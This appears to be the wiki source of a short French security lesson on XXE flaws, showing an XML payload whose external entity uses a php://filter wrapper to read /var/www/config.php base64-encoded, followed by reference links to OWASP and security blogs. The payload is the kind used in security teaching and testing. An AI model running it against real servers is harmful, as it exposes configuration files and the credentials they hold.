Voir la source de 1.9 Failles XXE

Lire du code PHP avec une faille XXE

  <?xml version="1.0"?>
  <!DOCTYPE results [
    <!ENTITY harmless SYSTEM
    "php://filter/read=convert.base64-encode/resource=/var/www/config.php"
    >
  ]>
  <results>
    <result>&harmless;</result>
  </results

[https://www.owasp.org/index.php/XML_External_Entity_%28XXE%29_Processing OWASP]<br>
[http://blog.h3xstream.com/2014/06/identifying-xml-external-entity.html h3stream]<br>
[http://phpsecurity.readthedocs.org/en/latest/Injection-Attacks.html phpsecurity]<br>